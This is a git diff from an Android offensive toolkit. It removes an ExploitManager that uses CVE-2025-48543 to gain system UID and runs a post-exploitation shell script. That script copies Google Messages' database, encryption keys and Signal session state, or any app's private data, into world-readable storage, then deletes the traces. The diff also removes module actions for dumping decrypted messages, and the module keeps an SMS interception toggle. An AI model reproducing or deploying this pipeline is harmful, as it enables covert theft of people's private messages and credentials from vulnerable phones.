Compare commits
No commits in common. "32842d9873570a42a4a1cf448552e1c698b427ed" and "e02a76301d903218c68b92121964db937d8ff90b" have entirely different histories.
32842d9873
...
e02a76301d
5
.gitignore
vendored
5
.gitignore
vendored
@ -60,14 +60,9 @@ dist/
|
|||||||
build/
|
build/
|
||||||
build_temp/
|
build_temp/
|
||||||
release/
|
release/
|
||||||
Output/
|
|
||||||
*.spec.bak
|
*.spec.bak
|
||||||
*.zip
|
*.zip
|
||||||
|
|
||||||
# Runtime data (captures, certs, training sets, scan results)
|
|
||||||
data/
|
|
||||||
|
|
||||||
|
|
||||||
# Local utility scripts
|
# Local utility scripts
|
||||||
kill_autarch.bat
|
kill_autarch.bat
|
||||||
|
|
||||||
|
|||||||
2
activate.sh
Normal file
2
activate.sh
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
source "$(dirname "$(realpath "$0")")/venv/bin/activate"
|
||||||
@ -30,7 +30,7 @@ android {
|
|||||||
}
|
}
|
||||||
|
|
||||||
kotlin {
|
kotlin {
|
||||||
jvmToolchain(24)
|
jvmToolchain(21)
|
||||||
}
|
}
|
||||||
|
|
||||||
buildFeatures {
|
buildFeatures {
|
||||||
|
|||||||
@ -1,532 +0,0 @@
|
|||||||
package com.darkhal.archon.messaging
|
|
||||||
|
|
||||||
import android.content.Context
|
|
||||||
import android.os.Build
|
|
||||||
import android.os.Environment
|
|
||||||
import android.util.Log
|
|
||||||
import com.darkhal.archon.util.PrivilegeManager
|
|
||||||
import java.io.File
|
|
||||||
import java.io.FileOutputStream
|
|
||||||
|
|
||||||
/**
|
|
||||||
* CVE-2025-48543 exploit manager — ART runtime UAF → system UID.
|
|
||||||
*
|
|
||||||
* Works on Android 13-16 with security patch < 2025-09-05.
|
|
||||||
* Achieves system_server UID (1000) which can read any app's /data/data/
|
|
||||||
* directory — enough to extract bugle_db + encryption keys from Google Messages.
|
|
||||||
*
|
|
||||||
* ARCHITECTURE:
|
|
||||||
* 1. Check if device is vulnerable (SDK + patch level)
|
|
||||||
* 2. Extract the native exploit binary from app assets to private dir
|
|
||||||
* 3. Write a post-exploitation shell script (what to do after getting system UID)
|
|
||||||
* 4. Execute the exploit binary which:
|
|
||||||
* a. Triggers ART runtime UAF
|
|
||||||
* b. Achieves system_server code execution
|
|
||||||
* c. Runs the post-exploitation script at system privilege
|
|
||||||
* 5. Collect results and clean up
|
|
||||||
*
|
|
||||||
* The native binary must be placed in assets/exploits/cve_2025_48543_arm64
|
|
||||||
* Built from: https://github.com/gamesarchive/CVE-2025-48543
|
|
||||||
*
|
|
||||||
* LOCKED BOOTLOADER COMPATIBLE — no root or bootloader unlock needed.
|
|
||||||
*/
|
|
||||||
class ExploitManager(private val context: Context) {
|
|
||||||
|
|
||||||
companion object {
|
|
||||||
private const val TAG = "ExploitManager"
|
|
||||||
private const val EXPLOIT_ASSET = "exploits/cve_2025_48543_arm64"
|
|
||||||
private const val EXPLOIT_FILENAME = "art_uaf"
|
|
||||||
private const val GMSG_PKG = "com.google.android.apps.messaging"
|
|
||||||
private const val GMSG_DATA = "/data/data/$GMSG_PKG"
|
|
||||||
}
|
|
||||||
|
|
||||||
data class VulnCheck(
|
|
||||||
val vulnerable: Boolean,
|
|
||||||
val sdk: Int,
|
|
||||||
val patchLevel: String,
|
|
||||||
val reason: String
|
|
||||||
)
|
|
||||||
|
|
||||||
data class ExploitResult(
|
|
||||||
val success: Boolean,
|
|
||||||
val method: String,
|
|
||||||
val uidAchieved: String? = null,
|
|
||||||
val extractedFiles: List<String> = emptyList(),
|
|
||||||
val outputDir: String? = null,
|
|
||||||
val error: String? = null,
|
|
||||||
val details: List<String> = emptyList()
|
|
||||||
)
|
|
||||||
|
|
||||||
private val workDir = File(context.filesDir, "exploit_work")
|
|
||||||
private val outputDir = File(
|
|
||||||
Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS),
|
|
||||||
"autarch_extract"
|
|
||||||
)
|
|
||||||
|
|
||||||
init {
|
|
||||||
workDir.mkdirs()
|
|
||||||
outputDir.mkdirs()
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Vulnerability Check ─────────────────────────────────────────
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Check if device is vulnerable to CVE-2025-48543.
|
|
||||||
*/
|
|
||||||
fun checkVulnerability(): VulnCheck {
|
|
||||||
val sdk = Build.VERSION.SDK_INT
|
|
||||||
val patch = Build.VERSION.SECURITY_PATCH
|
|
||||||
|
|
||||||
if (sdk < Build.VERSION_CODES.TIRAMISU) { // < Android 13
|
|
||||||
return VulnCheck(false, sdk, patch, "SDK $sdk not affected (need >= 33)")
|
|
||||||
}
|
|
||||||
|
|
||||||
if (patch >= "2025-09-05") {
|
|
||||||
return VulnCheck(false, sdk, patch, "Patch $patch is not vulnerable (need < 2025-09-05)")
|
|
||||||
}
|
|
||||||
|
|
||||||
return VulnCheck(true, sdk, patch,
|
|
||||||
"VULNERABLE — Android SDK $sdk, patch $patch (< 2025-09-05)")
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Check if the native exploit binary is available.
|
|
||||||
*/
|
|
||||||
fun hasExploitBinary(): Boolean {
|
|
||||||
// Check in app assets first
|
|
||||||
return try {
|
|
||||||
context.assets.open(EXPLOIT_ASSET).close()
|
|
||||||
true
|
|
||||||
} catch (e: Exception) {
|
|
||||||
// Check if it was pushed to our files dir
|
|
||||||
File(workDir, EXPLOIT_FILENAME).exists()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Exploit Execution ───────────────────────────────────────────
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Extract the RCS database using CVE-2025-48543.
|
|
||||||
*
|
|
||||||
* Full pipeline: check vuln → deploy exploit → write extraction script →
|
|
||||||
* execute exploit → collect results → cleanup.
|
|
||||||
*/
|
|
||||||
fun extractRcsDatabase(): ExploitResult {
|
|
||||||
val check = checkVulnerability()
|
|
||||||
if (!check.vulnerable) {
|
|
||||||
return ExploitResult(false, "CVE-2025-48543", error = check.reason)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Prepare the post-exploitation script
|
|
||||||
val scriptFile = File(workDir, "post_exploit.sh")
|
|
||||||
writeExtractionScript(scriptFile)
|
|
||||||
|
|
||||||
// Deploy the native exploit binary
|
|
||||||
val exploitBin = deployExploitBinary()
|
|
||||||
?: return ExploitResult(false, "CVE-2025-48543",
|
|
||||||
error = "Exploit binary not found. Push it via ADB:\n" +
|
|
||||||
" adb push cve_2025_48543_arm64 ${workDir.absolutePath}/$EXPLOIT_FILENAME\n" +
|
|
||||||
"Or place in app assets at: $EXPLOIT_ASSET",
|
|
||||||
details = listOf(
|
|
||||||
"Build from: https://github.com/gamesarchive/CVE-2025-48543",
|
|
||||||
"Compile for ARM64: ndk-build or cmake with -DANDROID_ABI=arm64-v8a",
|
|
||||||
"Push binary: adb push exploit ${workDir.absolutePath}/$EXPLOIT_FILENAME"
|
|
||||||
))
|
|
||||||
|
|
||||||
// Execute the exploit
|
|
||||||
return executeExploit(exploitBin, scriptFile)
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Execute the exploit with a custom task script.
|
|
||||||
*/
|
|
||||||
fun executeCustomTask(taskScript: String): ExploitResult {
|
|
||||||
val check = checkVulnerability()
|
|
||||||
if (!check.vulnerable) {
|
|
||||||
return ExploitResult(false, "CVE-2025-48543", error = check.reason)
|
|
||||||
}
|
|
||||||
|
|
||||||
val scriptFile = File(workDir, "custom_task.sh")
|
|
||||||
scriptFile.writeText(taskScript)
|
|
||||||
scriptFile.setExecutable(true)
|
|
||||||
|
|
||||||
val exploitBin = deployExploitBinary()
|
|
||||||
?: return ExploitResult(false, "CVE-2025-48543", error = "Exploit binary not available")
|
|
||||||
|
|
||||||
return executeExploit(exploitBin, scriptFile)
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Extract any app's data directory via system UID.
|
|
||||||
*/
|
|
||||||
fun extractAppData(packageName: String): ExploitResult {
|
|
||||||
val targetDir = "/data/data/$packageName"
|
|
||||||
val outSubDir = File(outputDir, packageName)
|
|
||||||
outSubDir.mkdirs()
|
|
||||||
|
|
||||||
val script = """
|
|
||||||
#!/system/bin/sh
|
|
||||||
mkdir -p ${outSubDir.absolutePath}
|
|
||||||
cp -r $targetDir/* ${outSubDir.absolutePath}/ 2>/dev/null
|
|
||||||
chmod -R 644 ${outSubDir.absolutePath}/ 2>/dev/null
|
|
||||||
echo "EXTRACTED $packageName $(date)" > ${outSubDir.absolutePath}/.success
|
|
||||||
""".trimIndent()
|
|
||||||
|
|
||||||
return executeCustomTask(script)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Private Implementation ──────────────────────────────────────
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Write the RCS extraction post-exploit script.
|
|
||||||
* This runs at system UID (1000) after the exploit succeeds.
|
|
||||||
*/
|
|
||||||
private fun writeExtractionScript(scriptFile: File) {
|
|
||||||
val outPath = outputDir.absolutePath
|
|
||||||
val script = """
|
|
||||||
#!/system/bin/sh
|
|
||||||
# Post-exploitation script — runs at system UID (1000)
|
|
||||||
# Extracts Google Messages bugle_db + encryption key material
|
|
||||||
|
|
||||||
OUT="$outPath"
|
|
||||||
GMSG="$GMSG_DATA"
|
|
||||||
|
|
||||||
mkdir -p "${'$'}OUT/databases" "${'$'}OUT/shared_prefs" "${'$'}OUT/files"
|
|
||||||
|
|
||||||
# Copy encrypted database + WAL (recent messages may be in WAL only)
|
|
||||||
cp "${'$'}GMSG/databases/bugle_db" "${'$'}OUT/databases/" 2>/dev/null
|
|
||||||
cp "${'$'}GMSG/databases/bugle_db-wal" "${'$'}OUT/databases/" 2>/dev/null
|
|
||||||
cp "${'$'}GMSG/databases/bugle_db-shm" "${'$'}OUT/databases/" 2>/dev/null
|
|
||||||
cp "${'$'}GMSG/databases/bugle_db-journal" "${'$'}OUT/databases/" 2>/dev/null
|
|
||||||
|
|
||||||
# Copy ALL shared_prefs (encryption key material, RCS config, etc.)
|
|
||||||
cp -r "${'$'}GMSG/shared_prefs/"* "${'$'}OUT/shared_prefs/" 2>/dev/null
|
|
||||||
|
|
||||||
# Copy files directory (Signal Protocol state, session keys, identity)
|
|
||||||
cp -r "${'$'}GMSG/files/"* "${'$'}OUT/files/" 2>/dev/null
|
|
||||||
|
|
||||||
# Copy any other databases that might exist
|
|
||||||
for db in "${'$'}GMSG/databases/"*; do
|
|
||||||
fname=${'$'}(basename "${'$'}db")
|
|
||||||
cp "${'$'}db" "${'$'}OUT/databases/${'$'}fname" 2>/dev/null
|
|
||||||
done
|
|
||||||
|
|
||||||
# Make everything world-readable for ADB pull
|
|
||||||
chmod -R 644 "${'$'}OUT/" 2>/dev/null
|
|
||||||
find "${'$'}OUT" -type d -exec chmod 755 {} \; 2>/dev/null
|
|
||||||
|
|
||||||
# Capture device info for context
|
|
||||||
echo "device=$(getprop ro.product.model)" > "${'$'}OUT/.device_info"
|
|
||||||
echo "android=$(getprop ro.build.version.release)" >> "${'$'}OUT/.device_info"
|
|
||||||
echo "sdk=$(getprop ro.build.version.sdk)" >> "${'$'}OUT/.device_info"
|
|
||||||
echo "patch=$(getprop ro.build.version.security_patch)" >> "${'$'}OUT/.device_info"
|
|
||||||
echo "extracted=$(date '+%Y-%m-%d %H:%M:%S')" >> "${'$'}OUT/.device_info"
|
|
||||||
echo "uid=$(id)" >> "${'$'}OUT/.device_info"
|
|
||||||
|
|
||||||
# Success marker
|
|
||||||
echo "EXTRACTED $(date)" > "${'$'}OUT/.success"
|
|
||||||
""".trimIndent()
|
|
||||||
|
|
||||||
scriptFile.writeText(script)
|
|
||||||
scriptFile.setExecutable(true)
|
|
||||||
Log.d(TAG, "Extraction script written to ${scriptFile.absolutePath}")
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Deploy the native exploit binary from assets or files dir.
|
|
||||||
*/
|
|
||||||
private fun deployExploitBinary(): File? {
|
|
||||||
val targetBin = File(workDir, EXPLOIT_FILENAME)
|
|
||||||
|
|
||||||
// If already deployed and executable, use it
|
|
||||||
if (targetBin.exists() && targetBin.canExecute()) {
|
|
||||||
Log.d(TAG, "Exploit binary already deployed at ${targetBin.absolutePath}")
|
|
||||||
return targetBin
|
|
||||||
}
|
|
||||||
|
|
||||||
// Try to extract from assets
|
|
||||||
try {
|
|
||||||
context.assets.open(EXPLOIT_ASSET).use { input ->
|
|
||||||
FileOutputStream(targetBin).use { output ->
|
|
||||||
input.copyTo(output)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
targetBin.setExecutable(true, false)
|
|
||||||
Log.i(TAG, "Exploit binary extracted from assets to ${targetBin.absolutePath}")
|
|
||||||
return targetBin
|
|
||||||
} catch (e: Exception) {
|
|
||||||
Log.w(TAG, "Exploit binary not in assets: ${e.message}")
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check if it was pushed via ADB to our files dir
|
|
||||||
if (targetBin.exists()) {
|
|
||||||
targetBin.setExecutable(true, false)
|
|
||||||
return targetBin
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check /data/local/tmp/ (ADB push default)
|
|
||||||
val adbPushed = File("/data/local/tmp/$EXPLOIT_FILENAME")
|
|
||||||
if (adbPushed.exists()) {
|
|
||||||
adbPushed.copyTo(targetBin, overwrite = true)
|
|
||||||
targetBin.setExecutable(true, false)
|
|
||||||
Log.i(TAG, "Exploit binary copied from /data/local/tmp/")
|
|
||||||
return targetBin
|
|
||||||
}
|
|
||||||
|
|
||||||
Log.e(TAG, "No exploit binary found")
|
|
||||||
return null
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Execute the exploit binary with the post-exploitation script.
|
|
||||||
*
|
|
||||||
* The exploit binary takes two arguments:
|
|
||||||
* arg1: path to shell script to execute at system UID
|
|
||||||
* arg2: path to write status/output
|
|
||||||
*
|
|
||||||
* It triggers the ART UAF, gains system_server context, then
|
|
||||||
* fork+exec's /system/bin/sh with the provided script.
|
|
||||||
*/
|
|
||||||
private fun executeExploit(exploitBin: File, scriptFile: File): ExploitResult {
|
|
||||||
val statusFile = File(workDir, "exploit_status")
|
|
||||||
statusFile.delete()
|
|
||||||
|
|
||||||
val details = mutableListOf<String>()
|
|
||||||
details.add("Exploit: ${exploitBin.absolutePath}")
|
|
||||||
details.add("Script: ${scriptFile.absolutePath}")
|
|
||||||
details.add("Output: ${outputDir.absolutePath}")
|
|
||||||
|
|
||||||
try {
|
|
||||||
// Method 1: Direct execution (works if we have exec permission)
|
|
||||||
val process = ProcessBuilder(
|
|
||||||
exploitBin.absolutePath,
|
|
||||||
scriptFile.absolutePath,
|
|
||||||
statusFile.absolutePath
|
|
||||||
)
|
|
||||||
.directory(workDir)
|
|
||||||
.redirectErrorStream(true)
|
|
||||||
.start()
|
|
||||||
|
|
||||||
// Read output with timeout
|
|
||||||
val output = StringBuilder()
|
|
||||||
val reader = process.inputStream.bufferedReader()
|
|
||||||
val startTime = System.currentTimeMillis()
|
|
||||||
val timeoutMs = 30_000L
|
|
||||||
|
|
||||||
while (System.currentTimeMillis() - startTime < timeoutMs) {
|
|
||||||
if (reader.ready()) {
|
|
||||||
val line = reader.readLine() ?: break
|
|
||||||
output.appendLine(line)
|
|
||||||
Log.d(TAG, "Exploit: $line")
|
|
||||||
} else if (!process.isAlive) {
|
|
||||||
// Read remaining
|
|
||||||
output.append(reader.readText())
|
|
||||||
break
|
|
||||||
} else {
|
|
||||||
Thread.sleep(100)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
val exitCode = try {
|
|
||||||
process.waitFor()
|
|
||||||
process.exitValue()
|
|
||||||
} catch (e: Exception) {
|
|
||||||
process.destroyForcibly()
|
|
||||||
-1
|
|
||||||
}
|
|
||||||
|
|
||||||
details.add("Exit code: $exitCode")
|
|
||||||
details.add("Output: ${output.toString().take(500)}")
|
|
||||||
|
|
||||||
// Check for success
|
|
||||||
val successMarker = File(outputDir, ".success")
|
|
||||||
if (successMarker.exists()) {
|
|
||||||
val extractedFiles = collectExtractedFiles()
|
|
||||||
return ExploitResult(
|
|
||||||
success = true,
|
|
||||||
method = "CVE-2025-48543",
|
|
||||||
uidAchieved = "system (1000)",
|
|
||||||
extractedFiles = extractedFiles,
|
|
||||||
outputDir = outputDir.absolutePath,
|
|
||||||
details = details + listOf(
|
|
||||||
"Success marker: ${successMarker.readText().trim()}",
|
|
||||||
"Extracted files: ${extractedFiles.size}",
|
|
||||||
"Pull via ADB: adb pull ${outputDir.absolutePath}/ ./extracted_rcs/"
|
|
||||||
)
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
// If direct exec failed, try via PrivilegeManager (Shizuku/shell)
|
|
||||||
details.add("Direct exec didn't produce results, trying PrivilegeManager...")
|
|
||||||
return executeViaShell(exploitBin, scriptFile, details)
|
|
||||||
|
|
||||||
} catch (e: Exception) {
|
|
||||||
Log.e(TAG, "Exploit execution failed", e)
|
|
||||||
details.add("Exception: ${e.message}")
|
|
||||||
|
|
||||||
// Fallback to PrivilegeManager
|
|
||||||
return executeViaShell(exploitBin, scriptFile, details)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Execute the exploit via PrivilegeManager (Shizuku/ADB shell).
|
|
||||||
* This gives us UID 2000 to launch the exploit, which then escalates to system.
|
|
||||||
*/
|
|
||||||
private fun executeViaShell(
|
|
||||||
exploitBin: File,
|
|
||||||
scriptFile: File,
|
|
||||||
details: MutableList<String>
|
|
||||||
): ExploitResult {
|
|
||||||
try {
|
|
||||||
// Copy exploit to a shell-accessible location
|
|
||||||
val shellBin = "/data/local/tmp/${EXPLOIT_FILENAME}_$$"
|
|
||||||
val shellScript = "/data/local/tmp/post_exploit_$$.sh"
|
|
||||||
|
|
||||||
val cpBin = PrivilegeManager.execute(
|
|
||||||
"cp ${exploitBin.absolutePath} $shellBin && chmod 755 $shellBin"
|
|
||||||
)
|
|
||||||
val cpScript = PrivilegeManager.execute(
|
|
||||||
"cp ${scriptFile.absolutePath} $shellScript && chmod 755 $shellScript"
|
|
||||||
)
|
|
||||||
|
|
||||||
if (cpBin.exitCode != 0) {
|
|
||||||
// Try pushing from the app's internal storage directly
|
|
||||||
PrivilegeManager.execute(
|
|
||||||
"cat ${exploitBin.absolutePath} > $shellBin && chmod 755 $shellBin"
|
|
||||||
)
|
|
||||||
}
|
|
||||||
if (cpScript.exitCode != 0) {
|
|
||||||
PrivilegeManager.execute(
|
|
||||||
"cat ${scriptFile.absolutePath} > $shellScript && chmod 755 $shellScript"
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
details.add("Shell binary: $shellBin")
|
|
||||||
details.add("Shell script: $shellScript")
|
|
||||||
|
|
||||||
// Execute the exploit from shell context
|
|
||||||
val result = PrivilegeManager.execute(
|
|
||||||
"$shellBin $shellScript /data/local/tmp/exploit_status_$$"
|
|
||||||
)
|
|
||||||
|
|
||||||
details.add("Shell exit: ${result.exitCode}")
|
|
||||||
details.add("Shell stdout: ${result.stdout.take(300)}")
|
|
||||||
if (result.stderr.isNotBlank()) {
|
|
||||||
details.add("Shell stderr: ${result.stderr.take(200)}")
|
|
||||||
}
|
|
||||||
|
|
||||||
// Cleanup shell temps
|
|
||||||
PrivilegeManager.execute("rm -f $shellBin $shellScript /data/local/tmp/exploit_status_$$")
|
|
||||||
|
|
||||||
// Check for success
|
|
||||||
val successMarker = File(outputDir, ".success")
|
|
||||||
if (successMarker.exists()) {
|
|
||||||
val extractedFiles = collectExtractedFiles()
|
|
||||||
return ExploitResult(
|
|
||||||
success = true,
|
|
||||||
method = "CVE-2025-48543 (via shell)",
|
|
||||||
uidAchieved = "system (1000)",
|
|
||||||
extractedFiles = extractedFiles,
|
|
||||||
outputDir = outputDir.absolutePath,
|
|
||||||
details = details
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
return ExploitResult(
|
|
||||||
success = false,
|
|
||||||
method = "CVE-2025-48543",
|
|
||||||
error = "Exploit executed but did not produce success marker. " +
|
|
||||||
"The binary may need to be rebuilt for this device's kernel/ART version.",
|
|
||||||
details = details
|
|
||||||
)
|
|
||||||
|
|
||||||
} catch (e: Exception) {
|
|
||||||
Log.e(TAG, "Shell exploit execution failed", e)
|
|
||||||
return ExploitResult(
|
|
||||||
success = false,
|
|
||||||
method = "CVE-2025-48543",
|
|
||||||
error = "Shell execution failed: ${e.message}",
|
|
||||||
details = details
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Collect list of extracted files from output directory.
|
|
||||||
*/
|
|
||||||
private fun collectExtractedFiles(): List<String> {
|
|
||||||
val files = mutableListOf<String>()
|
|
||||||
outputDir.walkTopDown().forEach { file ->
|
|
||||||
if (file.isFile && file.name != ".success" && file.name != ".device_info") {
|
|
||||||
files.add(file.relativeTo(outputDir).path)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return files
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Clean up all exploit artifacts from the device.
|
|
||||||
*/
|
|
||||||
fun cleanup(): List<String> {
|
|
||||||
val cleaned = mutableListOf<String>()
|
|
||||||
|
|
||||||
// Remove work directory
|
|
||||||
if (workDir.exists()) {
|
|
||||||
workDir.deleteRecursively()
|
|
||||||
cleaned.add("Removed work dir: ${workDir.absolutePath}")
|
|
||||||
}
|
|
||||||
|
|
||||||
// Remove extracted data
|
|
||||||
if (outputDir.exists()) {
|
|
||||||
outputDir.deleteRecursively()
|
|
||||||
cleaned.add("Removed output dir: ${outputDir.absolutePath}")
|
|
||||||
}
|
|
||||||
|
|
||||||
// Remove anything in /data/local/tmp/
|
|
||||||
try {
|
|
||||||
PrivilegeManager.execute("rm -f /data/local/tmp/art_uaf* /data/local/tmp/post_exploit* /data/local/tmp/exploit_status*")
|
|
||||||
cleaned.add("Cleaned /data/local/tmp/ exploit artifacts")
|
|
||||||
} catch (e: Exception) {
|
|
||||||
cleaned.add("Could not clean /data/local/tmp/: ${e.message}")
|
|
||||||
}
|
|
||||||
|
|
||||||
return cleaned
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Get a summary of what's been extracted (if anything).
|
|
||||||
*/
|
|
||||||
fun getExtractionStatus(): Map<String, Any> {
|
|
||||||
val status = mutableMapOf<String, Any>()
|
|
||||||
|
|
||||||
val successMarker = File(outputDir, ".success")
|
|
||||||
status["extracted"] = successMarker.exists()
|
|
||||||
|
|
||||||
if (successMarker.exists()) {
|
|
||||||
status["marker"] = successMarker.readText().trim()
|
|
||||||
|
|
||||||
val deviceInfo = File(outputDir, ".device_info")
|
|
||||||
if (deviceInfo.exists()) {
|
|
||||||
status["device_info"] = deviceInfo.readText().trim()
|
|
||||||
}
|
|
||||||
|
|
||||||
status["files"] = collectExtractedFiles()
|
|
||||||
status["output_dir"] = outputDir.absolutePath
|
|
||||||
|
|
||||||
// Check for bugle_db specifically
|
|
||||||
val bugleDb = File(outputDir, "databases/bugle_db")
|
|
||||||
status["has_bugle_db"] = bugleDb.exists()
|
|
||||||
if (bugleDb.exists()) {
|
|
||||||
status["bugle_db_size"] = bugleDb.length()
|
|
||||||
}
|
|
||||||
|
|
||||||
val sharedPrefs = File(outputDir, "shared_prefs")
|
|
||||||
if (sharedPrefs.exists()) {
|
|
||||||
status["shared_prefs_count"] = sharedPrefs.listFiles()?.size ?: 0
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return status
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@ -100,66 +100,6 @@ class MessagingModule : ArchonModule {
|
|||||||
description = "Toggle SMS interception (intercept_mode:on or intercept_mode:off)",
|
description = "Toggle SMS interception (intercept_mode:on or intercept_mode:off)",
|
||||||
privilegeRequired = true,
|
privilegeRequired = true,
|
||||||
rootOnly = false
|
rootOnly = false
|
||||||
),
|
|
||||||
ModuleAction(
|
|
||||||
id = "rcs_account",
|
|
||||||
name = "RCS Account Info",
|
|
||||||
description = "Get Google Messages RCS registration, IMS state, and carrier config",
|
|
||||||
privilegeRequired = true
|
|
||||||
),
|
|
||||||
ModuleAction(
|
|
||||||
id = "extract_bugle_db",
|
|
||||||
name = "Extract bugle_db",
|
|
||||||
description = "Extract encrypted bugle_db + encryption key material from Google Messages",
|
|
||||||
privilegeRequired = true
|
|
||||||
),
|
|
||||||
ModuleAction(
|
|
||||||
id = "dump_decrypted",
|
|
||||||
name = "Dump Decrypted Messages",
|
|
||||||
description = "Query decrypted RCS/SMS messages from content providers and app context",
|
|
||||||
privilegeRequired = true
|
|
||||||
),
|
|
||||||
ModuleAction(
|
|
||||||
id = "extract_keys",
|
|
||||||
name = "Extract Encryption Keys",
|
|
||||||
description = "Extract bugle_db encryption key material from shared_prefs",
|
|
||||||
privilegeRequired = true
|
|
||||||
),
|
|
||||||
ModuleAction(
|
|
||||||
id = "gmsg_info",
|
|
||||||
name = "Google Messages Info",
|
|
||||||
description = "Get Google Messages version, UID, and RCS configuration",
|
|
||||||
privilegeRequired = false
|
|
||||||
),
|
|
||||||
ModuleAction(
|
|
||||||
id = "check_vuln",
|
|
||||||
name = "Check CVE-2025-48543",
|
|
||||||
description = "Check if device is vulnerable to ART UAF → system UID exploit",
|
|
||||||
privilegeRequired = false
|
|
||||||
),
|
|
||||||
ModuleAction(
|
|
||||||
id = "exploit_rcs",
|
|
||||||
name = "Exploit → Extract RCS",
|
|
||||||
description = "CVE-2025-48543: achieve system UID, extract bugle_db + keys (locked BL ok)",
|
|
||||||
privilegeRequired = false
|
|
||||||
),
|
|
||||||
ModuleAction(
|
|
||||||
id = "exploit_app",
|
|
||||||
name = "Exploit → Extract App Data",
|
|
||||||
description = "CVE-2025-48543: extract any app's data (exploit_app:<package>)",
|
|
||||||
privilegeRequired = false
|
|
||||||
),
|
|
||||||
ModuleAction(
|
|
||||||
id = "exploit_status",
|
|
||||||
name = "Extraction Status",
|
|
||||||
description = "Check what's been extracted so far",
|
|
||||||
privilegeRequired = false
|
|
||||||
),
|
|
||||||
ModuleAction(
|
|
||||||
id = "exploit_cleanup",
|
|
||||||
name = "Cleanup Exploit Traces",
|
|
||||||
description = "Remove all exploit artifacts and extracted data from device",
|
|
||||||
privilegeRequired = false
|
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
@ -199,17 +139,6 @@ class MessagingModule : ArchonModule {
|
|||||||
actionId == "intercept_mode" -> ModuleResult(false, "Specify: intercept_mode:on or intercept_mode:off")
|
actionId == "intercept_mode" -> ModuleResult(false, "Specify: intercept_mode:on or intercept_mode:off")
|
||||||
actionId == "intercept_mode:on" -> interceptMode(shizuku, true)
|
actionId == "intercept_mode:on" -> interceptMode(shizuku, true)
|
||||||
actionId == "intercept_mode:off" -> interceptMode(shizuku, false)
|
actionId == "intercept_mode:off" -> interceptMode(shizuku, false)
|
||||||
actionId == "rcs_account" -> rcsAccountInfo(shizuku)
|
|
||||||
actionId == "extract_bugle_db" -> extractBugleDb(shizuku)
|
|
||||||
actionId == "dump_decrypted" -> dumpDecrypted(shizuku)
|
|
||||||
actionId == "extract_keys" -> extractKeys(shizuku)
|
|
||||||
actionId == "gmsg_info" -> gmsgInfo(shizuku)
|
|
||||||
actionId == "check_vuln" -> checkVuln(context)
|
|
||||||
actionId == "exploit_rcs" -> exploitRcs(context)
|
|
||||||
actionId.startsWith("exploit_app:") -> exploitApp(context, actionId.substringAfter(":"))
|
|
||||||
actionId == "exploit_app" -> ModuleResult(false, "Usage: exploit_app:<package.name>")
|
|
||||||
actionId == "exploit_status" -> exploitStatus(context)
|
|
||||||
actionId == "exploit_cleanup" -> exploitCleanup(context)
|
|
||||||
else -> ModuleResult(false, "Unknown action: $actionId")
|
else -> ModuleResult(false, "Unknown action: $actionId")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -430,209 +359,4 @@ class MessagingModule : ArchonModule {
|
|||||||
ModuleResult(false, "Failed to ${if (enable) "enable" else "disable"} interception")
|
ModuleResult(false, "Failed to ${if (enable) "enable" else "disable"} interception")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// ── Google Messages RCS database access ─────────────────────────
|
|
||||||
|
|
||||||
private fun rcsAccountInfo(shizuku: ShizukuManager): ModuleResult {
|
|
||||||
if (!shizuku.isReady()) {
|
|
||||||
return ModuleResult(false, "Elevated access required")
|
|
||||||
}
|
|
||||||
return try {
|
|
||||||
val info = shizuku.getRcsAccountInfo()
|
|
||||||
val details = mutableListOf<String>()
|
|
||||||
details.add("IMS registered: ${info["ims_registered"] ?: "unknown"}")
|
|
||||||
details.add("RCS enabled: ${info["rcs_enabled"] ?: "unknown"}")
|
|
||||||
val gmsg = info["google_messages"] as? Map<*, *>
|
|
||||||
if (gmsg != null) {
|
|
||||||
details.add("Google Messages: v${gmsg["version"] ?: "?"} (UID: ${gmsg["uid"] ?: "?"})")
|
|
||||||
}
|
|
||||||
val rcsConfig = info["carrier_rcs_config"] as? Map<*, *>
|
|
||||||
if (rcsConfig != null && rcsConfig.isNotEmpty()) {
|
|
||||||
details.add("Carrier RCS keys: ${rcsConfig.size}")
|
|
||||||
rcsConfig.entries.take(5).forEach { (k, v) ->
|
|
||||||
details.add(" $k = $v")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
val gmsgPrefs = info["gmsg_rcs_prefs"] as? Map<*, *>
|
|
||||||
if (gmsgPrefs != null && gmsgPrefs.isNotEmpty()) {
|
|
||||||
details.add("Google Messages RCS prefs: ${gmsgPrefs.size}")
|
|
||||||
gmsgPrefs.entries.take(5).forEach { (k, v) ->
|
|
